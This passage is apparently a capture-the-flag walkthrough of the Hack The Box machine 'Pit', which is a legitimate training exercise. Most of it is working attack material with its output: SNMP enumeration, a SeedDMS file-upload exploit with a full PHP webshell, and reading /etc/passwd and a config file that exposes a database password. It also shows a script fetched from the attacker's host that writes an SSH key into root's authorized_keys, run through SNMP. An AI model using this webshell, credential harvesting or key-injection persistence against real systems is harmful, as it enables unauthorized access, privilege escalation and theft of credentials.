└─# nmap -sU -p161,162 -sV pit.htb
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-21 12:28 EDT
Nmap scan report for pit.htb (10.10.10.241)
Host is up (0.35s latency).

PORT    STATE    SERVICE  VERSION
161/udp open     snmp     SNMPv1 server; net-snmp SNMPv3 server (public)
162/udp filtered snmptrap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.63 seconds
```

As you can see we got the version information of SNMP and it also disclosed it is using 'Public'
community string for authentication. Public community string is used as password to send
request to SNMP server to reveal information and it is default community string. Public string
has only read access, it cannot write to SNMP.

Let’s find what SNMP can disclose for us. We will use below perl script, as it can perform multi-
threading and parse usable information.

 - [snmp](https://github.com/dheiland-r7/snmp)

For NetAddr Error: [https://metacpan.org/pod/release/MIKER/NetAddr-IP-4.079/IP.pm#INSTALLATION](https://metacpan.org/pod/release/MIKER/NetAddr-IP-4.079/IP.pm#INSTALLATION)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# perl snmpbw.pl pit.htb public 2 1                                                                                                         
SNMP query:       10.10.10.241
Queue count:      0
SNMP SUCCESS:     10.10.10.241
```

If you have multiple IPs to scan give a text file and increase the thread size from 1 to 8 or 16 or
32. Upon completion it generates a file (named as IP of target) with all the information it has
collected.

Let’s read useful information from the result.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# head 10.10.10.241.snmp
.1.3.6.1.2.1.1.1.0 = STRING: Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8
19:01:30 UTC 2021 x86_64
.1.3.6.1.2.1.1.2.0 = OID: .1.3.6.1.4.1.8072.3.2.10
.1.3.6.1.2.1.1.3.0 = Timeticks: (6114324) 16:59:03.24
.1.3.6.1.2.1.1.4.0 = STRING: Root <root@localhost> (configure /etc/snmp/snmp.local.conf)
.1.3.6.1.2.1.1.5.0 = STRING: pit.htb
.1.3.6.1.2.1.1.6.0 = STRING: Unknown (edit /etc/snmp/snmpd.conf)
-----SNIP--------
.1.3.6.1.4.1.2021.9.1.2.2 = STRING: /var/www/html/seeddms51x/seeddms
.1.3.6.1.4.1.2021.9.1.3.1 = STRING: /dev/mapper/cl-root
.1.3.6.1.4.1.2021.9.1.3.2 = STRING: /dev/mapper/cl-seeddms
-----SNIP--------
.1.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: /usr/
bin/monitor
-----SNIP--------
Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
SELinux Settings
user
-----SNIP--------
Login Name SELinux User MLS/MCS Range Service
__default__ unconfined_u s0-s0:c0.c1023 *
michelle user_u s0 *
root unconfined_u s0-s0:c0.c1023 *
System uptime
09:59:08 up 17:00, 2 users, load average: 0.00, 0.00, 0.00
-----SNIP--------
```

We got Linux Kernel version, web directory, OS version, username and binary location. These
information will be useful in further steps.

Let’s access HTTPS service.

``` bash
https://10.10.10.241:9090/
```

If we read the page source, the we’d find that this is a ”cockpit web console”, it allows admin/
users to perfrom limited/Administrative tasks on server.

#### getshell

Let’s do a quick exploit search.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# searchsploit "cockpit"
------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                              |  Path
------------------------------------------------------------------------------------------------------------ ---------------------------------
Cockpit CMS 0.4.4 < 0.5.5 - Server-Side Request Forgery                                                     | php/webapps/44567.txt
Cockpit CMS 0.6.1 - Remote Code Execution                                                                   | php/webapps/49390.txt
Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated)                                         | multiple/webapps/49397.txt
openITCOCKPIT 3.6.1-2 - Cross-Site Request Forgery                                                          | php/webapps/47305.py
------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
```

I tried SSRF for version 234 and it is not useful in our situation.
Let’s check the other HTTP server.

It is forbidden for us to access. Perhaps there’s a different directory which we can access. I ran
GoBuster and found out nothing.
Code Execution
In SNMP dump, we saw something related to DMS.

``` bash
.1.3.6.1.4.1.2021.9.1.2.2 = STRING: /var/www/html/seeddms51x/seeddms
```

Upon quick google, we find that “SeedDMS” is an open-source document management system.
Let’s try to append the directory name in web address bar and access.

``` bash
http://dms-pit.htb/seeddms51x/seeddms/out/out.Login.php?referuri=%2Fseeddms51x%2Fseeddms%2F
```

We get this login page. If we try to login via common credentials then it fails. But, if we try the
username which we found via SNMP enumeration then it would work.

``` bash
michelle/michelle
```

Once we login, we’d see a note from administrator saying that they have upgraded the software
to 5.1.15 from 5.1.10.

Let’s do quick search for an exploit to this version.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# searchsploit "seeddms"
------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                              |  Path
------------------------------------------------------------------------------------------------------------ ---------------------------------
SeedDMS 5.1.18 - Persistent Cross-Site Scripting                                                            | php/webapps/48324.txt
SeedDMS < 5.1.11 - 'out.GroupMgr.php' Cross-Site Scripting                                                  | php/webapps/47024.txt
SeedDMS < 5.1.11 - 'out.UsrMgr.php' Cross-Site Scripting                                                    | php/webapps/47023.txt
SeedDMS versions < 5.1.11 - Remote Command Execution                                                        | php/webapps/47022.txt
------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
```

There’s no any exploit is available to 5.1.15 version. I tried 5.1.18 XSS but it didn’t work. But for
some reason the RCE for version 5.1.11 works.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# cat /usr/share/exploitdb/exploits/php/webapps/47022.txt
# Exploit Title: [Remote Command Execution through Unvalidated File Upload in SeedDMS versions <5.1.11]
# Google Dork: [NA]
# Date: [20-June-2019]
# Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com)
# Vendor Homepage: [https://www.seeddms.org]
# Software Link: [https://sourceforge.net/projects/seeddms/files/]
# Version: [SeedDMS versions <5.1.11] (REQUIRED)
# Tested on: [NA]
# CVE : [CVE-2019-12744]

Exploit Steps:

Step 1: Login to the application and under any folder add a document.
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.

PHP Backdoor Code: 
<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Step 3: Now after uploading the file check the document id corresponding to the document.
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.

Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.
```

We just need to upload webshell on machine and access via from default directory and
document ID. The file name will be changed to 1.php. For some reason we webshell which
gives reverse connection doesn’t work, so we have to use the above mentioned php code to
execute commands.

Save that php code in file and we need to upload it in the “Michelle’s” folder.

It doesn’t really matter what you name the file, it get turned to 1.php. If you look over
“download” button the you’d find the document ID, which is required to access the php file.

Note: On machine a clean-up script is running and it deletes the uploaded file after every 5
minutes.

``` bash
http://dms-pit.htb/seeddms51x/data/1048576/29/1.php?cmd=cat%20/etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
polkitd:x:998:995:User for polkitd:/:/sbin/nologin
unbound:x:997:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin
sssd:x:996:992:User for sssd:/:/sbin/nologin
chrony:x:995:991::/var/lib/chrony:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
michelle:x:1000:1000::/home/michelle:/bin/bash
setroubleshoot:x:994:990::/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws:x:993:989:User for cockpit-ws:/nonexisting:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
nginx:x:992:988:Nginx web server:/var/lib/nginx:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
cockpit-wsinstance:x:991:987:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rngd:x:990:986:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin
```

We got command execution. But, due to some reason we can’t able to get reverse connection
on our machine. Let’s search for any stored credentials on target machine.

Initial Access
If we visit the configuration directory and access the settings.xml file then we will get MYSQL
creds.

``` bash
view-source:http://dms-pit.htb/seeddms51x/data/1048576/29/1.php?cmd=cat%20../../../conf/settings.xml

<pre><?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <site>
    <!-- siteName: Name of site used in the page titles. Default: SeedDMS
       - footNote: Message to display at the bottom of every page
       - printDisclaimer: if true the disclaimer message the lang.inc files will be print on the bottom of the page
       - language: default language (name of a subfolder in folder "languages")
       - theme: default style (name of a subfolder in folder "styles")
    -->
    <display siteName="SeedDMS" footNote="SeedDMS free document management system - www.seeddms.org" printDisclaimer="true" language="en_GB" theme="bootstrap" previewWidthList="40" previewWidthDetail="100" availablelanguages="" showFullPreview="false" convertToPdf="false" previewWidthMenuList="40" previewWidthDropFolderList="100" maxItemsPerPage="0" incItemsPerPage="0">  
    </display>
    <!-- strictFormCheck: Strict form checking. If set to true, then all fields in the form will be checked for a value. If set to false, then (most) comments and keyword fields become optional. Comments are always required when submitting a review or overriding document status.
       - viewOnlineFileTypes: files with one of the following endings can be viewed online (USE ONLY LOWER CASE CHARACTERS)
       - enableConverting: enable/disable converting of files
       - enableEmail: enable/disable automatic email notification
       - enableUsersView: enable/disable group and user view for all users
       - enableFullSearch: false to don't use fulltext search
       - enableLanguageSelector: false to don't show the language selector after login
       - enableClipboard: false to hide the clipboard
       - enableFolderTree: false to don't show the folder tree
       - expandFolderTree: 0 to start with tree hidden
       -                   1 to start with tree shown and first level expanded
       -                   2 to start with tree shown fully expanded     
       - stopWordsFile: path to stop word file for indexer
       - sortUsersInList: how to sort users in lists ('fullname' or '' (default))
    -->   
    <edition strictFormCheck="false" viewOnlineFileTypes=".txt;.text;.html;.htm;.xml;.pdf;.gif;.png;.jpg;.jpeg" enableConverting="true" enableEmail="true" enableUsersView="true" enableFullSearch="true" enableClipboard="false" enableFolderTree="true" expandFolderTree="1" enableLanguageSelector="true" stopWordsFile="" sortUsersInList="" enableDropUpload="false" enableRecursiveCount="false" maxRecursiveCount="0" enableThemeSelector="false" fullSearchEngine="sqlitefts" sortFoldersDefault="u" editOnlineFileTypes="" enableMenuTasks="false" enableHelp="false" defaultSearchMethod="database" libraryFolder="0" maxSizeForFullText="0" showSingleSearchHit="false" enableSessionList="false" enableDropFolderList="false" enableMultiUpload="false" defaultDocPosition="end">
    </edition> 
    <!-- enableCalendar: enable/disable calendar
       - calendarDefaultView: calendar default view ("w" for week,"m" for month,"y" for year)
       - firstDayOfWeek: first day of the week (0=sunday, 6=saturday)
    -->  
    <calendar enableCalendar="true" calendarDefaultView="y" firstDayOfWeek="0">
    </calendar>
  <webdav enableWebdavReplaceDoc="true"/></site>
  
  <system>
    <!-- rootDir: Path to where SeedDMS is located
       - httpRoot: The relative path in the URL, after the domain part. Do not include the
       -           http:// prefix or the web host name. e.g. If the full URL is
	     -           http://www.example.com/seeddms/, set $_httpRoot = "/seeddms/".
	     -           If the URL is http://www.example.com/, set $_httpRoot = "/".
       - contentDir: Where the uploaded files are stored (best to choose a directory that
       -             is not accessible through your web-server)
       - stagingDir: Where partial file uploads are saved
       - luceneDir: Where the lucene fulltext index iѕ saved
       - logFileEnable: set false to disable log system
       - logFileRotation: the log file rotation (h=hourly, d=daily, m=monthly)
       - enableLargeFileUpload: support for jumploader
       - partitionsize: size of chunk uploaded by jumploader
       - dropFolderDir: where files for document upload are located
       - cacheDir: where the preview images are saved
    -->
    <server rootDir="/var/www/html/seeddms51x/seeddms/" httpRoot="/seeddms51x/seeddms/" contentDir="/var/www/html/seeddms51x/data/" stagingDir="/var/www/html/seeddms51x/data/staging/" luceneDir="/var/www/html/seeddms51x/data/lucene/" logFileEnable="true" logFileRotation="d" enableLargeFileUpload="false" partitionSize="2000000" cacheDir="/var/www/html/seeddms51x/data/cache/" dropFolderDir="" backupDir="" repositoryUrl="" maxUploadSize="" enableXsendfile="false">
    </server>
    
    <!-- enableGuestLogin: If you want anybody to login as guest, set the following line to true
       -                   note: guest login should be used only in a trusted environment
			 - enablePasswordForgotten: Allow users to reset their password
       - restricted: Restricted access: only allow users to log in if they have an entry in the local database (irrespective of successful authentication with LDAP).
       - enableUserImage: enable users images
       - disableSelfEdit: if true user cannot edit his own profile
			 - passwordStrength: minimum strength of password, set to 0 to disable
			 - passwordExpiration: number of days after password expires
			 - passwordHistory: number of remembered passwords
			 - passwordStrengthAlgorithm: algorithm used to calculate password strenght (simple or advanced)
			 - encryptionKey: arbitrary string used for creating identifiers
    -->    
    <authentication enableGuestLogin="false" enablePasswordForgotten="false" restricted="true" enableUserImage="false" disableSelfEdit="false" passwordStrength="0" passwordStrengthAlgorithm="simple" passwordExpiration="10" passwordHistory="0" loginFailure="0" autoLoginUser="0" quota="0" undelUserIds="" encryptionKey="cfecb42d13f2e1666cddde56991a2cbf" cookieLifetime="0" enableGuestAutoLogin="false" defaultAccessDocs="0">
      <connectors>
        <!-- ***** CONNECTOR LDAP  *****
           - enable: enable/disable connector
           - type: type of connector ldap / AD
           - host: hostname of the authentification server
           -       URIs are supported, e.g.: ldaps://ldap.host.com
           - port: port of the authentification server
           - baseDN: top level of the LDAP directory tree
        -->  
        <connector enable="false" type="ldap" host="ldaps://ldap.host.com" port="389" baseDN="" bindDN="" bindPw="">
        </connector>
        <!-- ***** CONNECTOR Microsoft Active Directory  *****
           - enable: enable/disable connector
           - type: type of connector ldap / AD
           - host: hostname of the authentification server
           - port: port of the authentification server
           - baseDN: top level of the LDAP directory tree
           - accountDomainName: sample: example.com
        -->  
        <connector enable="false" type="AD" host="ldap.example.com" port="389" baseDN="" accountDomainName="example.com" bindDN="" bindPw="">
        </connector>
      </connectors>
    </authentication>
    <!--
       - dbDriver: DB-Driver used by adodb (see adodb-readme)
       - dbHostname: DB-Server
       - dbDatabase: database where the tables for seeddms are stored (optional - see adodb-readme)
       - dbUser: username for database-access
       - dbPass: password for database-access
    -->    
    <database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
    </database>
    <!-- smtpServer: SMTP Server hostname
       - smtpPort: SMTP Server port
       - smtpSendFrom: Send from
    -->    
    <smtp smtpServer="localhost" smtpPort="25" smtpSendFrom="seeddms@localhost" smtpUser="" smtpPassword=""/>    
  </system>
 
  
  <advanced>
    <!-- siteDefaultPage: Default page on login. Defaults to out/out.ViewFolder.php
       - rootFolderID: ID of root-folder (mostly no need to change)
       - titleDisplayHack: Workaround for page titles that go over more than 2 lines.
    -->  
    <display siteDefaultPage="" rootFolderID="1" titleDisplayHack="true" showMissingTranslations="false">
    </display>
    <!-- guestID: ID of guest-user used when logged in as guest (mostly no need to change)
       - adminIP: if enabled admin can login only by specified IP addres, leave empty to avoid the control
       -          NOTE: works only with local autentication (no LDAP)
    --> 
    <authentication guestID="2" adminIP="">
    </authentication>
    <!-- enableAdminRevApp: false to don't list administrator as reviewer/approver
       - versioningFileName: the name of the versioning info file created by the backup tool
       - workflowMode: 'traditional' or 'advanced'
       - enableVersionDeletion: allow to delete versions after approval
       - enableVersionModification: allow to modify versions after approval
       - enableDuplicateDocNames: allow duplicate names in a folder
    --> 
    <edition enableAdminRevApp="false" versioningFileName="versioning_info.txt" workflowMode="traditional" enableVersionDeletion="true" enableVersionModification="true" enableDuplicateDocNames="true" enableOwnerRevApp="false" enableSelfRevApp="false" presetExpirationDate="" overrideMimeType="false" initialDocumentStatus="0" enableAcknowledgeWorkflow="" enableRevisionWorkflow="" advancedAcl="false" enableUpdateRevApp="false" removeFromDropFolder="false" allowReviewerOnly="false">
    </edition>
		<!-- enableNotificationAppRev: true to send notifation if a user is added as a reviewer or approver
		-->
    <notification enableNotificationAppRev="true" enableOwnerNotification="false" enableNotificationWorkflow="false">
    </notification>
    <!-- coreDir: Path to SeedDMS_Core (optional)
       - luceneClassDir: Path to SeedDMS_Lucene (optional)
       - contentOffsetDir: To work around limitations in the underlying file system, a new 
       -                   directory structure has been devised that exists within the content 
       -                   directory ($_contentDir). This requires a base directory from which 
       -                   to begin. Usually leave this to the default setting, 1048576, but can 
       -                   be any number or string that does not already exist within $_contentDir.	
       - maxDirID: Maximum number of sub-directories per parent directory. Default: 0, use 31998 (maximum number of dirs in ext3) for a multi level content directory.
       - updateNotifyTime: users are notified about document-changes that took place within the last "updateNotifyTime" seconds
       - extraPath: Path to addtional software. This is the directory containing additional software like the adodb directory, or the pear Log package. This path will be added to the php include path
    -->
    <server coreDir="" luceneClassDir="" contentOffsetDir="1048576" maxDirID="0" updateNotifyTime="86400" extraPath="/var/www/html/seeddms51x/pear/" maxExecutionTime="30" cmdTimeout="10">
    </server>
    <converters target="fulltext">
		 <converter mimeType="application/pdf">pdftotext -nopgbrk %s - | sed -e 's/ [a-zA-Z0-9.]\{1\} / /g' -e 's/[0-9.]//g'</converter>
     <converter mimeType="application/msword">catdoc %s</converter>
     <converter mimeType="application/vnd.ms-excel">ssconvert -T Gnumeric_stf:stf_csv -S %s fd://1</converter>
     <converter mimeType="audio/mp3">id3 -l -R %s | egrep '(Title|Artist|Album)' | sed 's/^[^:]*: //g'</converter>
     <converter mimeType="audio/mpeg">id3 -l -R %s | egrep '(Title|Artist|Album)' | sed 's/^[^:]*: //g'</converter>
     <converter mimeType="text/plain">cat %s</converter>
    </converters>

  </advanced>

<extensions><extension name="example"/></extensions></configuration>
</pre>
```

the password is:

``` bash
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
```

MYSQL DB is not accessible to other IPs as it is bound to localhost only. Let’s try these this
password with admin/root/michelle user on “cockpit web console”. I tried these creds to access
SSH, but unfortunately SSH is configured to allow only Public-Private keys not password.

and we got user.txt

``` bash
[michelle@pit ~]$ id
uid=1000(michelle) gid=1000(michelle) groups=1000(michelle) context=user_u:user_r:user_t:s0
[michelle@pit ~]$ ls
user.txt
[michelle@pit ~]$ cat user.txt
bc22c2a8b56625680ca457a243dd2a84
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1982.jpg)

I ran through LinPeas on the machine in search for any paths to escalate privileges, but couldn’t
find any.

#### Privilege Escalation

If we remember SNMP dump we found that there’s a binary file is being run on the machine.

``` bash
.1.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: /usr/bin/monitor
```

Let’s check this file out.

``` bash
[michelle@pit ~]$ file /usr/bin/monitor
/usr/bin/monitor: Bourne-Again shell script, ASCII text executable
[michelle@pit ~]$ ls -la /usr/bin/monitor
-rwxr--r--. 1 root root 88 Apr 18  2020 /usr/bin/monitor
```

It’s an ASCII file and we have permission to read it.

``` bash
[michelle@pit ~]$ cat /usr/bin/monitor 
#!/bin/bash

for script in /usr/local/monitoring/check*sh
do
    /bin/bash $script
done
```

It’s a script being run from another location. Let’s check that out.

``` bash
[michelle@pit ~]$ ls -la /usr/local/monitoring/
ls: cannot open directory '/usr/local/monitoring/': Permission denied
```

We cannot list content of this directory, let’s check what permission we have for this directory

``` bash
[michelle@pit ~]$ ls -la /usr/local/
total 0
drwxr-xr-x. 13 root root 149 Nov  3  2020 .
drwxr-xr-x. 12 root root 144 May 10 05:06 ..
drwxr-xr-x.  2 root root   6 Nov  3  2020 bin
drwxr-xr-x.  2 root root   6 Nov  3  2020 etc
drwxr-xr-x.  2 root root   6 Nov  3  2020 games
drwxr-xr-x.  2 root root   6 Nov  3  2020 include
drwxr-xr-x.  2 root root   6 Nov  3  2020 lib
drwxr-xr-x.  3 root root  17 May 10 05:06 lib64
drwxr-xr-x.  2 root root   6 Nov  3  2020 libexec
drwxrwx---+  2 root root 122 May 21 13:55 monitoring
drwxr-xr-x.  2 root root   6 Nov  3  2020 sbin
drwxr-xr-x.  5 root root  49 Nov  3  2020 share
drwxr-xr-x.  2 root root   6 Nov  3  2020 src
```

We have read/write/execute permission for this directory and also + is there, it simply means
ACLs are implemented on this directory. In simple terms extended permissions. let’s check the
extended permissions.

``` bash
[michelle@pit ~]$ getfacl /usr/local/monitoring/
getfacl: Removing leading '/' from absolute path names
# file: usr/local/monitoring/
# owner: root
# group: root
user::rwx
user:michelle:-wx
group::rwx
mask::rwx
other::---
```

As you can see, owner is root, other users have full permission but 'Michelle' user has only write
and execute permission. Let’s try to create a file and find out.

``` bash
[michelle@pit ~]$ echo "test" > /usr/local/monitoring/demo.txt
[michelle@pit ~]$ cat /usr/local/monitoring/demo.txt
test
```

It worked, we can dump shell file inside this directory and call it via SNMPwalk. First we need to
create a shell file with our SSH public keys, upon execution it should copy keys to root’s SSH
directory.

``` bash
[michelle@pit ~]$ curl http://10.10.14.18:82/check.sh -o check.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   598  100   598    0     0    862      0 --:--:-- --:--:-- --:--:--   862
[michelle@pit ~]$ cat check.sh 
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali" > /root/.ssh/authorized_keys
```

Now we need to copy this file to monitoring directory.

``` bash
cp check.sh /usr/local/monitoring/
```

Make sure you can read the file after copying it to monitoring directory.

``` bash
[michelle@pit ~]$ cp check.sh /usr/local/monitoring/
[michelle@pit ~]$ cat /usr/local/monitoring/check.sh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali" > /root/.ssh/authorized_keys
```

Note: Root is running a clean-up script, the contents of monitoring directory gets removed after
5 minutes.

After copying our shell file, now we need to run SNMPwalk application from Kali Linux to
execute it remotely.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# snmpwalk -v 1 -c public pit.htb 1.3.6.1.4.1.8072.1.3.2.2.1.2
NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
```

Note: ‘1.3.6.1.4.1.8072.1.3.2’ is called as OID (Object Identifiers). It is an address used to
uniquely identify managed devices and their statuses in a network.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1983.jpg)

We can easily match the number for the following numbers 1.3.6.1.4.1 with above SNMP MIB
(management information base) tree structure. The following number 8072 is device/application
manufacturer (netSnmp) and remaining numbers 1.3.2.2.1.2 are part of netExtensions. Below is
the complete description of OID.

 - [OID repository - 1.3.6.1.4.1.8072.1.3.2.2.1.2 = {iso(1) identified-organization(3) dod(6)
internet(1) private(4) enterprise(1) 8072 netSnmpObjects(1) nsExtensions(3)
nsExtendObjects(2) nsExtendConfigTable(2) nsExtendConfigEntry(1) nsExtendCommand(2)}](http://www.oid-info.com/cgi-bin/display?oid=1.3.6.1.4.1.8072.1.3.2.2.1.2&a=display)

``` bash
{iso(1) identified-organization(3) dod(6) internet(1) private(4) enterprise(1) 8072
netSnmpObjects(1) nsExtensions(3) nsExtendObjects(2) nsExtendConfigTable(2)
nsExtendConfigEntry(1) nsExtendCommand(2)}
```

 - [What is the SNMP OID? How do you use it?](https://www.dpstele.com/snmp/what-does-oid-network-elements.php)

``` bash
.1.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: /usr/
bin/monitor
```

As you can see the OID value is given for a string and that string is monitor script. When we run
SNMPwalk from Kali Linux, on target root runs on behalf to execute those script.

Upon SNMPwalk on OID value, we can SSH into machine and read our root flag.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pit]
└─# snmpwalk -m +MY-MIB -v2c -c public 10.10.10.241 nsExtendObjects
MIB search path: /root/.snmp/mibs:/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf
Cannot find module (MY-MIB): At line 1 in (none)
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
NET-SNMP-EXTEND-MIB::nsExtendArgs."monitoring" = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendInput."monitoring" = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."monitoring" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."monitoring" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."monitoring" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."monitoring" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStatus."monitoring" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."monitoring" = STRING: Memory usage
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: Memory usage
              total        used        free      shared  buff/cache   available
Mem:          3.8Gi       379Mi       3.1Gi       8.0Mi       330Mi       3.2Gi
Swap:         1.9Gi          0B       1.9Gi
Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
SELinux Settings
user

                Labeling   MLS/       MLS/                          
SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles

guest_u         user       s0         s0                             guest_r
root            user       s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r unconfined_r
staff_u         user       s0         s0-s0:c0.c1023                 staff_r sysadm_r unconfined_r
sysadm_u        user       s0         s0-s0:c0.c1023                 sysadm_r
system_u        user       s0         s0-s0:c0.c1023                 system_r unconfined_r
unconfined_u    user       s0         s0-s0:c0.c1023                 system_r unconfined_r
user_u          user       s0         s0                             user_r
xguest_u        user       s0         s0                             xguest_r
login

Login Name           SELinux User         MLS/MCS Range        Service

__default__          unconfined_u         s0-s0:c0.c1023       *
michelle             user_u               s0                   *
root                 unconfined_u         s0-s0:c0.c1023       *
System uptime
 14:30:54 up  2:26,  1 user,  load average: 0.00, 0.00, 0.00
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."monitoring" = INTEGER: 31
NET-SNMP-EXTEND-MIB::nsExtendResult."monitoring" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".1 = STRING: Memory usage
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".2 = STRING:               total        used        free      shared  buff/cache   available
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".3 = STRING: Mem:          3.8Gi       379Mi       3.1Gi       8.0Mi       330Mi       3.2Gi
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".4 = STRING: Swap:         1.9Gi          0B       1.9Gi
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".5 = STRING: Database status
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".6 = STRING: OK - Connection to database successful.
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".7 = STRING: System release info
